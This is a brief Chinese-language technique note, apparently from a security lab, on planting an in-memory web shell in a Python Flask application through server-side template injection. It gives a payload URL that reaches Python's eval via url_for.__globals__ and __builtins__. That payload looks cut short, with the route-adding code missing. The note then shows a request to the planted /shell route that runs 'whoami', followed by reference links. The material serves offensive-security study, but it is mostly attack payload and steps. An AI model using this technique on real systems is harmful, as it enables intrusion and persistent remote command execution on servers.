Python Flask 内存马

先起一个带有ssti的flask：

插入路由：

http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27]%27eval%27}}

访问植入的shell： http://127.0.0.1:8000/shell?cmd=whoami

参考：

https://github.com/iceyhexman/flask_memory_shell

https://segmentfault.com/a/1190000022175553

https://xz.aliyun.com/t/8029